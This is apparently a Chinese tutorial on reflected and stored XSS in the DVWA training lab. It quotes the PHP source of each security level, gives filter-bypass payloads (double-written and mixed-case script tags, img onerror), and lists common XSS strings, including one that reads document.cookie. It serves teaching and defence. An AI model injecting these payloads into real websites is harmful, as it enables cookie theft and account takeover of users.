前期準備:linux下搭建dvwa需要lamp環境,其php版本不能太高,php7.0無法使用,php5.6可以;
XSS定義
CSS(Cross Site Script)又叫XSS,中文意思:跨站腳本攻擊。它指的是惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行。XSS的攻擊目標是爲了盜取客戶端的cookie或者其他網站用於識別客戶端身份的敏感信息。獲取到合法用戶的信息後,攻擊者甚至可以假冒最終用戶與網站進行交互。
XSS的原理
也就是往HTML中注入腳本,HTML指定了腳本標記<script></script>.在沒有過濾字符的情況下,只需要保持完整無錯的腳本標記即可觸發XSS,假如我們在某個資料表單提交內容,表單提交內容就是某個標記屬性所賦的值,我們可以構造如下值來閉和標記來構造完整無錯的腳本標記,"><script>alert('Xss');</script><"
反射型XSS
等級Low
源代碼
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
這裏隨便輸入Word試一下:
word<script>alert('Xss');</script> ;
觀察到調用函數輸出了Xss彈窗,後面爲Word,其實<script>”注入語句“</script>可以完成許多功能。
等級Medium
源代碼:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
觀察發現使用str_replace
進行了黑名單過濾,繞過這個不成問題,使用
雙寫繞過
<scri<script>pt>alert(/test/);</script>
大小寫混寫繞過
<sCripT>alert(/test/);</script>
等級High
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
使用正則進行匹配,過濾了大小寫混合寫入已經雙寫,但是可以使用img、body等標籤的事件以及iframe標籤的src注入惡意的js代碼進行漏洞利用
<img src=1 onerror=alert('test')>
等級Impossible
源代碼:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
htmlspecialchars() 函數把一些預定義的字符轉換爲 HTML 實體。以防止瀏覽器將其作爲HTML元素。這樣會將用戶輸入的內容都不作爲標籤以提高安全性。
預定義的字符是:
& (和號)成爲 &
" (雙引號)成爲 "
' (單引號)成爲 '
< (小於)成爲 <
> (大於)成爲 >
一些常用的xss語句
<script>alert(/test/)</script> 最普通的xss代碼
<script>alert(document.cookie);</script> 獲取cookie
<img src="javascript:alert(/test/)"> img鏈接地址xss
<script src="test.js"> <script> 外部調用攻擊代碼ls.js
<script alert('test)</SCRIPT> 註釋方法防止過濾
<img src="" onerror=alert("xss")> 加載圖像失敗執行
<iframe onload=alert('test')> 框架
<script>location='test.com';</script> 跳轉某頁面
存儲型XSS
等級Low
源代碼:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
部分函數講解
trim() 函數移除字符串兩側的空白字符或其他預定義字符。
相關函數:
ltrim() - 移除字符串左側的空白字符或其他預定義字符
rtrim() - 移除字符串右側的空白字符或其他預定義字符
stripslashes():刪除由 addslashes() 函數添加的反斜槓。該函數用於清理從數據庫或 HTML 表單中取回的數據。(若是連續二個反斜槓,則去掉一個,保留一個;若只有一個反斜槓,就直接去掉。);
mysqli_real_escape_string:轉義字符串中的特殊字符;
name欄輸入發現有字數限制,那就抓包改數據;
message欄正常輸入即可,
<script>alert('test');</script>
等級Medium
源代碼:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
部分函數講解
strip_tags()
函數剝去字符串中的 HTML、XML 以及 PHP 的標籤,但允許使用<b>
標籤。
addslashes()
函數返回在預定義字符(單引號、雙引號、反斜槓、NULL)之前添加反斜槓的字符串。
其對message參數使用了htmlspecialchars
函數進行編碼,因此無法對message參數注入XSS代碼,但是對於name參數,簡單過濾了<script>
字符串,仍然存在存儲型的XSS。
使用雙寫<scri<script>pt>alert('test')
成功彈框
大小寫混合繞過
<sCrIpt>alert('test')
等級High
源代碼:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
這裏使用正則表達式過濾了<script>
標籤,但是依然存在img、iframe
等其它危險的標籤,因此name參數仍然有存儲型XSS
抓包改name數據=<img src=1 onerror=alert('test')>
成功彈框
等級Impossible
源代碼:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
這個就比較高級了,對name和message均進行了htmlspecialchars
過濾
存儲型和反射型的區別
- 存儲型
存儲型XSS,持久型,代碼是存儲在服務器中的,如果沒有過濾或過濾不嚴,那麼這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易造成蠕蟲,盜竊cookie等。 - 反射型
反射型XSS,非持久化,需要欺騙用戶手動去點擊鏈接才能觸發XSS代碼,一般容易出現在搜索頁面。